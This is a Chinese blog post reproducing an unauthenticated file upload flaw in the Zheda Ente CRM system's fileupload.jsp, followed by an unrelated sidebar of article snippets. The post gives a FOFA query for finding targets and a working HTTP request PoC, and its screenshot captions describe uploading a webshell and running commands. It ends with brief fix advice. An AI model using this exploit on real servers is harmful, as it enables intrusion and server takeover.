OidBoy_G
OidBoy_G

浙大恩特客户资源管理系统任意文件上传漏洞复现

0x01 产品简介

     浙大恩特客户资源管理系统是一款针对企业客户资源管理的软件产品。该系统旨在帮助企业高效地管理和利用客户资源，提升销售和市场营销的效果。

0x02 漏洞概述

  浙大恩特客户资源管理系统中fileupload.jsp接口处存在文件上传漏洞，未经身份认证的攻击者可以上传任意后门文件，最终可导致服务器失陷。

0x03 复现环境

FOFA：app="浙大恩特客户资源管理系统"

浙大恩特客户资源管理系统任意文件上传漏洞复现_第1张图片

0x04 漏洞复现 

PoC

POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=1.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: application/x-www-form-urlencoded
Connection: close
Accept-Encoding: gzip, deflate

123

浙大恩特客户资源管理系统任意文件上传漏洞复现_第2张图片

回显了上传路径 

验证

浙大恩特客户资源管理系统任意文件上传漏洞复现_第3张图片

上传马子

浙大恩特客户资源管理系统任意文件上传漏洞复现_第4张图片

命令执行 

浙大恩特客户资源管理系统任意文件上传漏洞复现_第5张图片 0x05 修复建议 

关闭互联网暴露面或设置接口访问权限

 升级至安全版本

 

你可能感兴趣的:(漏洞复现,安全,web安全)

  • 小心亏损！应天书府卧虎藏隆隆国强不靠谱！不能出金提现！被骗真相震惊！ 天权顾问
    随着互联网的普及，电视上和网络上有很多分析师，他们也是这个市场的一个群体。可能你也有疑惑，既然都能分析了，还做什么分析师啊，就在股市里赚大钱就是了，干嘛还要出来抛头露面。数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗重点提示：这类老师会洗脑把所有的都铺
  • ConcurrentHashMap深度解析 编程界的彭于晏qaq javajava
    ConcurrentHashMap深度解析引言：并发容器的"扛鼎之作"在Java并发编程领域，ConcurrentHashMap无疑是最核心的容器之一。作为HashMap的线程安全替代品，它既解决了Hashtable全表锁导致的性能瓶颈，又规避了HashMap在并发环境下的数据不一致风险（如死循环、数据丢失）。自JDK1.5引入以来，ConcurrentHashMap经历了三次重大演进（JDK7分
  • 高省安全吗 高省靠谱吗【新手必看】 日常购物小技巧
    大家好，我是花桃APP推荐官小琪琪今天给大家说说：高省安全吗高省靠谱吗【新手必看】高省真的能赚钱吗？如何实现管道收益？【新手必看】高省注册需要邀请码，高省邀请码：【这个是花桃APP官方邀请码：000000】高省是什么？他的主要作用优势是什么？为什么高省能赚钱，赚钱的要求是什么？这篇文章将会为你揭晓以上谜题！高省是一款综合性导购返佣创业平台！自用省钱，分享赚钱！以下是重点：重要的事说三遍，重要的事说
  • 韩灵儿江平安《我是赘婿，有个老祖宗娘子很合理吧》全章节在线阅读_韩灵儿江平安全文免费阅读下载_韩灵儿江平安《我是赘婿，有个老祖宗娘子很合理吧》完整版在线阅读 蚂蚁推书
    小说名：我是赘婿，有个老祖宗娘子很合理吧主角：韩灵儿江平安小说作者：纯良小白状态：连载中字数：12.02万字最新章节：第98章小说简介：穿越异界，我意外成了赘婿，但没想到的是我的春梦居然成了真，我春梦中的各色女子，全部都在现实里出现了。高冷御姐，可爱萝莉，月宫仙子全出现在我面前，追着我喊夫君！更让人大吃一惊的是，我梦中最常出现的女人，居然是我入赘家族里的老祖宗，我嘞个豆，她都管我叫相公，那我的身份
  • 在Android开发中，如何获取到手机设备的PIN码? 西瓜本瓜@ android智能手机
    在Android开发中，无法直接获取用户设置的PIN码（锁屏密码），无论是否有Root权限。这是Android系统层面的隐私和安全机制保护，即使是系统应用或使用了Xposed模块，也无法直接访问用户设置的锁屏PIN、图案、密码。✅原因：Android系统保护机制锁屏密码（包括PIN、图案、密码）是加密保存在系统中，例如/data/system/locksettings.db，而且即使你访问这个数据
  • 悬镜安全将受邀参加2025开放原子开源生态大会 DevSecOps选型指南 安全开放原子开源软件供应链安全厂商软件供应链安全工具Devsecops
    2025年7月24日下午，“2025开放原子开源生态大会-软件物料清单（SBOM）分论坛”将在北京国家会议中心二期会议室262盛大开启。本次论坛将汇聚开源治理领域专家学者、企业代表，围绕软件供应链安全发展趋势、企业开源供应链管理与SBOM应用、开源社区SBOM治理、重点行业供应链安全治理的探索与实践等议题展开主题发言，并发布“SBOM管理服务平台”，推动SBOM从理论到实践落地，助力安全防线前移。
  • 阴谋爆仓！社科院课堂朱民ST-balance节能风电被骗揭秘！受害者亲述不能出金真相！ 正义青天
    随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗。针对网上素未谋面的牛散大咖，经济学家等推荐网上投资理财、数字经济，数字体育市场，人工智能项目，数字低碳，慈善投票网站买数字的等等都是骗局若你也不幸被骗遇到此类平台一定不要打草惊蛇，早期不
  • 2019-07-22 32774430182c
    图片发自App让我静静地享受这一刻的喜悦太开心了！因为本以为赶不上的车，现在一个人都没有少，安全，并美美的坐在我的旁边！今天店里有茶会感恩茜子，三土，香香茜子很早就赶过去帮忙，太勤快热情的菇凉，觉得跟她今天在一起碰撞了一个共同点，那就是都是宁愿早到绝不迟到，先把事情落实做好了才能安心，哈哈！感恩这个菇凉，一起准备下午的茶会工作辛苦了！茶会中，分享很愉快，大家的兴趣也十分的浓厚，对每个问题都追根问底
  • Deepoc大模型重构核工业智能基座：混合增强架构与安全增强决策技术 Deepoch 人工智能创业创新科技自动化学习
    面向复杂系统的高可靠AI赋能体系构建Deepoc大模型通过多维度技术突破，显著提升核工业知识处理与决策可靠性。经核能行业验证，其生成内容可验证性提升68%，关键参数失真率99.999%）。动态可信度评估系统：基于贝叶斯神经网络实时量化模型不确定性，为关键决策提供置信度评分（如堆芯功率控制置信区间±0.05%）。二、核心突破：物理增强型智能算法创新机理与数据双驱动建模神经微分方程求解器：将中子输运方
  • 京东内部优惠券软件叫什么?京东分享商品赚佣金 氧券超好用
    揭秘京东内部优惠券软件：分享商品还能赚佣金！随着我国电商行业的飞速发展，越来越多的消费者开始选择在线上购物。而在众多电商平台中，京东以其正品保证、高效物流服务等优势，赢得了大量用户的青睐。然而，你知道吗？在京东购物还可以通过分享商品赚取佣金，这得益于一款名为“芬香”的京东内部优惠券软件。一、芬香：京东内部优惠券软件芬香是一款基于京东平台的内部优惠券分享软件，由原京东移动电商总经理创立，安全可靠。通
  • 延迟队列的入门使用
    延迟队列的入门使用思考：1.什么是延迟队列？延迟队列运用场景？2.延迟队列的排队过程如何实现？真的是先进先出吗？3.如何实现运用延迟队列一.什么是延迟队列DelayQueue是Java中的一个基于优先级队列的实现的线程安全的延迟队列。运用场景：实现定时任务或者延迟任务的调度。DelayQueue实现BlockingQueue，加入这个队列的元素必须实现Delayed接口，当生产者提交元素进入队列时
  • Mac中 “XX”文件已损坏，无法打开 解决方案 恰在灯火阑珊处 Q&Amacos
    前言Mac中打开软件出现“XX”文件已损坏，无法打开的提示怎么处理？操作总结1、查看当前Gatekeeper是否启用spctl--status2、完全关闭Gatekeeper（允许安装任何来源应用）sudospctl--master-disable3、打开“系统设置->“隐私与安全性”最下方选择“允许所有来源”至此，可以重新打开软件，基本已成功。4、恢复系统安全设置【成功之后收尾】sudospct
  • 赏帮赚和趣闲赚哪个好,刷视频挣钱一天300元(帮赏赚安全吗)详细比较 小易的生活
    赏帮赚和趣闲赚都是目前市场上较为知名的兼职赚钱平台，它们在任务类型、赚钱机制、用户评价等方面各有特点。以下是对这两个平台的详细比较：一、平台背景与特点赏帮赚：赏帮赚是一款由重庆优玖互邦科技有限公司开发的手机应用，专注于为自由就业者、灵活就业者提供佣金发放方案，并为用户提供完成任务获得奖励的平台。该平台已有十多年的历史，积累了丰富的经验和实力。二、任务类型与难度赏帮赚：赏帮赚提供的任务类型非常丰富，
  • 坚守人民至上理念，突出现代化方向的人民性 14广告姜璐
    “人民对美好生活的向往，就是我们的奋斗目标”，坚持以人民为中心的发展思想，体现了党的理想信念、性质宗旨、初心使命，也是对党的奋斗历程和实践经验的深刻总结。以人民为中心，就是要发展为了人民，“让人民有更多、更直接、更实在的获得感、幸福感、安全感”；就是要依靠人民，“只要我们深深扎根人民、紧紧依靠人民，就可以获得无穷的力量，风雨无阻，奋勇向前”；就是发展成果由人民共享，“朝着实现全体人民共同富裕不断迈
  • Flink-Hadoop实战项目 Dylan_muc hadoophdfsflink
    项目说明文档1.项目概述1.1项目简介本项目是一个基于ApacheFlink的大数据流处理平台，专门用于处理铁路系统的票务和车次信息数据。系统包含两个核心流处理作业：文件处理作业和数据合并作业，采用定时调度机制，支持Kerberos安全认证，实现从文件读取到数据仓库存储的完整数据处理链路。1.2技术栈流处理引擎:ApacheFlink1.18.1存储系统:HDFS(Hadoop分布式文件系统)数据
  • 2018年9月17日日记 晓茂
    老师说反省要拿出刮骨疗伤的勇气。我在想，刮啥呢？从懂事以来到现在，自己的每一步都走的小心翼翼，因为没有父母对我的任何正确指导（现在不怪他们，条件有限嘛）不管在工作上还是情感关系上，都是自己被碰得头破血流了，回到窝里自己舔舐伤口。现在回想起来，很感恩这段经历，这因为这样，才在书籍中找到了归宿，找到了安全感，才有了慢慢让自己活得有意义的决心和勇气！感到幸运的是，自己的心一直都善良，对给予我支持和帮助的
  • 警惕!北恒私募高级班周一丰，马建军不正规。不让出金,不能提现,大家远离骗局! 昌龙律法
    随着互联网的普及，数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁。因此，我们有必要提高警惕，防范黑平台诈骗。针对网上素未谋面的牛散大咖，经济学家等推荐网上投资理财、数字经济，数字体育市场，人工智能项目，数字低碳，慈善投票网站买数字的等等都是骗局，广大市民对此要提高警惕，若你也不幸被骗遇到此类平
  • MEMS陀螺工具的技术突破体现在哪些方面？ ericco123 科技制造MEMS陀螺仪惯性技术
    在石油天然气勘探、矿山钻探及管道检测等复杂工程领域，精确的方位测量是确保作业安全与效率的核心。传统磁定向工具易受套管、钻杆等铁磁性物质或外部磁场干扰，导致在关键井段或受限空间内方位数据失效。作为高精度、小型化、全固态的MEMS陀螺定向短节代表，ER-Gyro-15基于MEMS陀螺技术，通过感知地球自转角速度实现无磁寻北。凭借其独特的技术优势，成为复杂工况下的革新性解决方案。核心原理：ER-Gyro
  • 线下现金入金诈骗!社科院正式课堂通达OA朱民节能煤水风电St-balance市场行骗真实案例分享! 易星辰分享普法
    随着互联网的普及，电视上和网络上有很多分析师，他们也是这个市场的一个群体。可能你也有疑惑，既然都能分析了，还做什么分析师啊，就在股市里赚大钱就是了，干嘛还要出来抛头露面。数字经济蓬勃发展，各种线上平台如雨后春笋般涌现。然而，在这些看似繁荣的平台中，不乏一些黑平台，它们以欺诈手段骗取用户的财产，给人们的财产安全带来严重威胁！近期我们接到多起投资者举报，称有人冒充知名财经分析师（知名人物大学教授经济学
  • google-web浏览器域名和公网ip下服务 无法访问局域网ip服务 风一样的男子& tcp/ip前端网络
    因为google的安全策略导致的防止非安全上下文向更多专用IP地址发出子资源请求说白了就是防止公网上的资源直接向局域网ip发起请求，火狐目前可以这么干如果谷歌也想解开这个限制，那么你需要简单配置一下：chrome://flags/#block-insecure-private-network-requests在谷歌浏览器里打开这个代码将Default改为Disabled然后Relaunch即可
  • 不断更新—平衡自我提升原则 李男Nina
    365天读书打卡第350天《高效能人士的7个习惯》作者：史蒂芬.柯维人生最值得的投资就是磨练自己，因为生活与服务人群都得靠自己，这是最珍贵的工具。工作本身并不能带来经济上的安全感，具备良好的思考，学习创造与适应能力，才能立于不败之地。拥有财富并不代表经济独立，拥有创造财富的能力才真正可靠。自我提升和完善的4个层面，包括：身体，精神，智力，社会情感。从根本上讲，不断更新意味着要兼顾这四种要素，要以睿
  • 服务网关面试题分类整理 jarenyVO 面试题中间件面试
    服务网关面试题分类整理文章目录服务网关面试题分类整理一、基础概念类1.什么是服务网关？它解决了什么问题？2.服务网关和负载均衡器有什么区别？二、核心功能类1.服务网关的五大核心功能是什么？2.动态路由是如何实现的？三、技术实现类1.主流网关技术选型对比2.网关如何实现高性能？四、高可用设计类1.如何保证网关自身的高可用？2.网关如何避免成为单点瓶颈？五、安全防护类1.网关如何实现API安全？2.如
  • 夸克网盘非会员免费解压指南
    夸克网盘非会员免费解压指南在当今数字化时代，网盘已经成为我们存储和分享文件的重要工具。夸克网盘作为一款广受欢迎的云存储服务，凭借其便捷性和安全性赢得了大量用户的青睐。然而，对于非会员用户来说，如何在夸克网盘上免费解压文件却成为了一个不小的难题。本文将详细介绍夸克网盘非会员免费解压的方法，并解答关于解压文件存储位置的疑问，帮助大家更好地利用夸克网盘。一、夸克网盘非会员免费解压方法夸克网盘为非会员用户
  • 【Java代码审计 | 第五篇】XSS漏洞成因+实战案例 秋说 Java代码审计javaxss
    未经许可，不得转载。文章目录XSS漏洞成因1、直接输出用户输入2、在JSP中使用EL表达式输出用户输入3、在Thymeleaf模板中输出用户输入4、在JavaScript中嵌入用户输入实战案例案例1案例2案例3XSSXSS（跨站脚本攻击，Cross-SiteScripting）是一种常见的Web安全漏洞，攻击者通过在网页中注入恶意脚本，使得这些脚本在用户的浏览器中执行。XSS攻击通常分为以下三种类
  • 企业SRC漏铜挖掘思路 网络小安 漏洞挖掘网络安全web安全安全
    目录src众测平台信息收集一，先看股权穿透图找到公司的名称二，这些公司对应的是一级域名三，用icp备案进行查找域名域名资产开始挖（抓包拦截）抓包分析js逆向src众测平台国内漏洞平台https://www.anquanke.com/src教育edu漏洞平台https://src.sjtu.edu.cn/提示：记得查看企业SRC的安全漏洞评分标准以及规范edu只打边缘拿证书信息收集爱企查一，先看股权
  • 如何通过视频进度条打点守护视频安全？ 菜包eo 教育视频polyv视频安全音视频安全
    文章目录前言一、什么是视频进度条打点？二、实现视频进度条打点的技术原理三、如何实现视频进度条打点？总结前言人们对视频内容的获取越来越追求效率，尤其是在教育培训、企业直播、知识付费等场景中，用户希望能够快速定位重点内容。视频进度条打点功能应运而生，不仅提升了用户体验，更成为视频安全管理的重要一环。本文将带你深入了解打点技术的原理与应用，一起看看它如何为视频安全加上一道“智能防线”。一、什么是视频进度
  • 民间故事：修路遇到老祠堂，工程队不顾劝阻执意要拆，结果出了怪事 诗文书画汇
    戏说古今奇闻趣事，传递世间真情善意。本故事为《民间故事》系列之第530期，如果您喜欢，不妨给个关注！文/小田2002年，在山东枣庄附近，两波人在村头的一座老祠堂门前干了起来。其中一波人，穿着建筑工服，头戴安全帽。他们手持木棒、大锤子，恶狠狠地对着另一波人大吼着。而另一波人，穿着朴素。他们手无寸铁，是这个村的村民。他们向工程队苦苦哀求着：“你们不要拆这座祠堂啊！不然会出大事啊！”工程队里负责拆迁的小
  • 热室机械手市场报告：智能装备推动高温制造自动化升级 QYR_11 人工智能大数据
    引言在工业自动化浪潮席卷全球的当下，热室机械手作为核工业、铸造等特殊高温环境中的关键设备，正发挥着不可替代的作用。随着核技术应用的不断拓展、高端制造产业的升级以及对生产安全和效率要求的提升，热室机械手市场需求持续增长。本报告将全面分析热室机械手市场的现状、竞争格局、发展趋势及面临的挑战，为行业从业者、投资者提供专业的市场参考，助力其在该领域的战略布局与决策。一、市场现状（一）应用领域分布热室机械手
  • 300个网络安全软件和在线工具（归类版）（非常详细），零基础入门到精通，看这一篇就够了_安恒云沙箱 网络安全k叔 web安全安全服务器数据库学习
    系统下载1、KALI安装版https://pan.quark.cn/s/483c664db4fb2、KALI免安装版https://pan.quark.cn/s/23d4540a800b3、下载所有Kali系统https://pan.quark.cn/s/7d8b9982012f4、KALI软件源https://pan.quark.cn/s/33781a6f346d5、所有Linux系统https
  • 2024最新最全：网络安全软件大合集（非常详细）零基础入门到精通，收藏这一篇就够了
    安全建议：渗透类软件，建议先在虚拟机试运行！VMware虚拟机https://pan.quark.cn/s/6e439e2c15c1下载KALI（安装版）https://pan.quark.cn/s/2124bdf3c732下载KALI（免安装版）https://pan.quark.cn/s/bf88a79dc236KALI软件源https://pan.quark.cn/s/02e9feea586
  • 项目中 枚举与注解的结合使用 飞翔的马甲 javaenumannotation
    前言：版本兼容，一直是迭代开发头疼的事，最近新版本加上了支持新题型，如果新创建一份问卷包含了新题型，那旧版本客户端就不支持，如果新创建的问卷不包含新题型，那么新旧客户端都支持。这里面我们通过给问卷类型枚举增加自定义注解的方式完成。顺便巩固下枚举与注解。 一、枚举 1.在创建枚举类的时候，该类已继承java.lang.Enum类，所以自定义枚举类无法继承别的类，但可以实现接口。
  • 【Scala十七】Scala核心十一：下划线_的用法 bit1129 scala
    下划线_在Scala中广泛应用，_的基本含义是作为占位符使用。_在使用时是出问题非常多的地方，本文将不断完善_的使用场景以及所表达的含义   1. 在高阶函数中使用 scala> val list = List(-3,8,7,9) list: List[Int] = List(-3, 8, 7, 9) scala> list.filter(_ > 7) r
  • web缓存基础：术语、http报头和缓存策略 dalan_123 Web
    对于很多人来说，去访问某一个站点，若是该站点能够提供智能化的内容缓存来提高用户体验，那么最终该站点的访问者将络绎不绝。缓存或者对之前的请求临时存储，是http协议实现中最核心的内容分发策略之一。分发路径中的组件均可以缓存内容来加速后续的请求，这是受控于对该内容所声明的缓存策略。接下来将讨web内容缓存策略的基本概念，具体包括如如何选择缓存策略以保证互联网范围内的缓存能够正确处理的您的内容，并谈论下
  • crontab 问题 周凡杨 linuxcrontabunix
      一： 0481-079   Reached   a   symbol   that   is   not   expected.   背景： */5   *   *   *   *  /usr/IBMIHS/rsync.sh 
  • 让tomcat支持2级域名共享session g21121 session
    tomcat默认情况下是不支持2级域名共享session的，所有有些情况下登陆后从主域名跳转到子域名会发生链接session不相同的情况，但是只需修改几处配置就可以了。 打开tomcat下conf下context.xml文件 找到Context标签,修改为如下内容 如果你的域名是www.test.com <Context sessionCookiePath="/path&q
  • web报表工具FineReport常用函数的用法总结（数学和三角函数） 老A不折腾 Webfinereport总结
      ABS ABS(number):返回指定数字的绝对值。绝对值是指没有正负符号的数值。 Number:需要求出绝对值的任意实数。 示例: ABS(-1.5)等于1.5。 ABS(0)等于0。 ABS(2.5)等于2.5。   ACOS ACOS(number):返回指定数值的反余弦值。反余弦值为一个角度，返回角度以弧度形式表示。 Number:需要返回角
  • linux 启动java进程 sh文件 墙头上一根草 linuxshelljar
    #!/bin/bash #初始化服务器的进程PId变量 user_pid=0; robot_pid=0; loadlort_pid=0; gateway_pid=0; ######### #检查相关服务器是否启动成功 #说明： #使用JDK自带的JPS命令及grep命令组合，准确查找pid #jps 加 l 参数，表示显示java的完整包路径 #使用awk，分割出pid
  • 我的spring学习笔记5-如何使用ApplicationContext替换BeanFactory aijuans Spring 3 系列
    如何使用ApplicationContext替换BeanFactory？ package onlyfun.caterpillar.device; import org.springframework.beans.factory.BeanFactory; import org.springframework.beans.factory.xml.XmlBeanFactory; import
  • Linux 内存使用方法详细解析 annan211 linux内存Linux内存解析
    来源 http://blog.jobbole.com/45748/ 我是一名程序员，那么我在这里以一个程序员的角度来讲解Linux内存的使用。 一提到内存管理，我们头脑中闪出的两个概念，就是虚拟内存，与物理内存。这两个概念主要来自于linux内核的支持。 Linux在内存管理上份为两级，一级是线性区，类似于00c73000-00c88000，对应于虚拟内存，它实际上不占用
  • 数据库的单表查询常用命令及使用方法(-) 百合不是茶 oracle函数单表查询
        创建数据库;       --建表 create table bloguser(username varchar2(20),userage number(10),usersex char(2));       创建bloguser表,里面有三个字段     &nbs
  • 多线程基础知识 bijian1013 java多线程threadjava多线程
    一．进程和线程 进程就是一个在内存中独立运行的程序，有自己的地址空间。如正在运行的写字板程序就是一个进程。 “多任务”：指操作系统能同时运行多个进程（程序）。如WINDOWS系统可以同时运行写字板程序、画图程序、WORD、Eclipse等。 线程：是进程内部单一的一个顺序控制流。 线程和进程 a.       每个进程都有独立的
  • fastjson简单使用实例 bijian1013 fastjson
    一.简介         阿里巴巴fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库；包括“序列化”和“反序列化”两部分，它具备如下特征：     
  • 【RPC框架Burlap】Spring集成Burlap bit1129 spring
    Burlap和Hessian同属于codehaus的RPC调用框架，但是Burlap已经几年不更新，所以Spring在4.0里已经将Burlap的支持置为Deprecated,所以在选择RPC框架时，不应该考虑Burlap了。 这篇文章还是记录下Burlap的用法吧，主要是复制粘贴了Hessian与Spring集成一文，【RPC框架Hessian四】Hessian与Spring集成  
  • 【Mahout一】基于Mahout 命令参数含义 bit1129 Mahout
    1. mahout seqdirectory   $ mahout seqdirectory --input (-i) input Path to job input directory(原始文本文件). --output (-o) output The directory pathna
  • linux使用flock文件锁解决脚本重复执行问题 ronin47 linux lock　重复执行
    linux的crontab命令，可以定时执行操作，最小周期是每分钟执行一次。关于crontab实现每秒执行可参考我之前的文章《linux crontab 实现每秒执行》现在有个问题，如果设定了任务每分钟执行一次，但有可能一分钟内任务并没有执行完成，这时系统会再执行任务。导致两个相同的任务在执行。 例如： <? //  test .php
  • java-74-数组中有一个数字出现的次数超过了数组长度的一半，找出这个数字 bylijinnan java
    public class OcuppyMoreThanHalf { /** * Q74 数组中有一个数字出现的次数超过了数组长度的一半，找出这个数字 * two solutions: * 1.O(n) * see <beauty of coding>--每次删除两个不同的数字，不改变数组的特性 * 2.O(nlogn) * 排序。中间
  • linux 系统相关命令 candiio linux
    系统参数 cat /proc/cpuinfo  cpu相关参数 cat /proc/meminfo 内存相关参数 cat /proc/loadavg 负载情况 性能参数 1）top M：按内存使用排序 P：按CPU占用排序 1：显示各CPU的使用情况 k：kill进程 o：更多排序规则 回车：刷新数据 2）ulimit ulimit -a：显示本用户的系统限制参
  • [经营与资产]保持独立性和稳定性对于软件开发的重要意义 comsci 软件开发
         一个软件的架构从诞生到成熟，中间要经过很多次的修正和改造       如果在这个过程中，外界的其它行业的资本不断的介入这种软件架构的升级过程中           那么软件开发者原有的设计思想和开发路线
  • 在CentOS5.5上编译OpenJDK6 Cwind linuxOpenJDK
    几番周折终于在自己的CentOS5.5上编译成功了OpenJDK6，将编译过程和遇到的问题作一简要记录，备查。 0. OpenJDK介绍 OpenJDK是Sun（现Oracle）公司发布的基于GPL许可的Java平台的实现。其优点： 1、它的核心代码与同时期Sun（-> Oracle）的产品版基本上是一样的，血统纯正，不用担心性能问题，也基本上没什么兼容性问题；（代码上最主要的差异是
  • java乱码问题 dashuaifu java乱码问题js中文乱码
    swfupload上传文件参数值为中文传递到后台接收中文乱码     在js中用setPostParams（{"tag" : encodeURI( document.getElementByIdx_x("filetag").value，"utf-8")}）; 然后在servlet中String t
  • cygwin很多命令显示command not found的解决办法 dcj3sjt126com cygwin
    cygwin很多命令显示command not found的解决办法   修改cygwin.BAT文件如下 @echo off D: set CYGWIN=tty notitle glob set PATH=%PATH%;d:\cygwin\bin;d:\cygwin\sbin;d:\cygwin\usr\bin;d:\cygwin\usr\sbin;d:\cygwin\us
  • [介绍]从 Yii 1.1 升级 dcj3sjt126com PHPyii2
    2.0 版框架是完全重写的，在 1.1 和 2.0 两个版本之间存在相当多差异。因此从 1.1 版升级并不像小版本间的跨越那么简单，通过本指南你将会了解两个版本间主要的不同之处。 如果你之前没有用过 Yii 1.1，可以跳过本章，直接从"入门篇"开始读起。 请注意，Yii 2.0 引入了很多本章并没有涉及到的新功能。强烈建议你通读整部权威指南来了解所有新特性。这样有可能会发
  • Linux SSH免登录配置总结 eksliang ssh-keygenLinux SSH免登录认证Linux SSH互信
    转载请出自出处：http://eksliang.iteye.com/blog/2187265 一、原理      我们使用ssh-keygen在ServerA上生成私钥跟公钥，将生成的公钥拷贝到远程机器ServerB上后,就可以使用ssh命令无需密码登录到另外一台机器ServerB上。      生成公钥与私钥有两种加密方式，第一种是
  • 手势滑动销毁Activity gundumw100 android
    老是效仿ios，做android的真悲催！ 有需求：需要手势滑动销毁一个Activity 怎么办尼？自己写？ 不用~，网上先问一下百度。 结果： http://blog.csdn.net/xiaanming/article/details/20934541 首先将你需要的Activity继承SwipeBackActivity，它会在你的布局根目录新增一层SwipeBackLay
  • JavaScript变换表格边框颜色 ini JavaScripthtmlWebhtml5css
    效果查看：http://hovertree.com/texiao/js/2.htm代码如下，保存到HTML文件也可以查看效果： <html> <head> <meta charset="utf-8"> <title>表格边框变换颜色代码-何问起</title> </head> <body&
  • Kafka Rest : Confluent kane_xie kafkaRESTconfluent
    最近拿到一个kafka rest的需求，但kafka暂时还没有提供rest api（应该是有在开发中，毕竟rest这么火），上网搜了一下，找到一个Confluent Platform，本文简单介绍一下安装。 这里插一句，给大家推荐一个九尾搜索，原名叫谷粉SOSO，不想fanqiang谷歌的可以用这个。以前在外企用谷歌用习惯了，出来之后用度娘搜技术问题，那匹配度简直感人。 环境声明：Ubu
  • Calender不是单例 men4661273 单例Calender
             在我们使用Calender的时候，使用过Calendar.getInstance()来获取一个日期类的对象，这种方式跟单例的获取方式一样，那么它到底是不是单例呢，如果是单例的话，一个对象修改内容之后，另外一个线程中的数据不久乱套了吗？从试验以及源码中可以得出，Calendar不是单例。 测试： Calendar c1 =
  • 线程内存和主内存之间联系 qifeifei java thread
    1， java多线程共享主内存中变量的时候，一共会经过几个阶段，    lock:将主内存中的变量锁定，为一个线程所独占。   unclock:将lock加的锁定解除，此时其它的线程可以有机会访问此变量。   read:将主内存中的变量值读到工作内存当中。   load:将read读取的值保存到工作内存中的变量副本中。  
  • schedule和scheduleAtFixedRate tangqi609567707 javatimerschedule
    原文地址：http://blog.csdn.net/weidan1121/article/details/527307 import java.util.Timer;import java.util.TimerTask;import java.util.Date; /** * @author vincent */public class TimerTest {  
  • erlang 部署 wudixiaotie erlang
    1.如果在启动节点的时候报这个错 ： {"init terminating in do_boot",{'cannot load',elf_format,get_files}} 则需要在reltool.config中加入 {app, hipe, [{incl_cond, exclude}]},     2.当generate时，遇到： ERROR
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他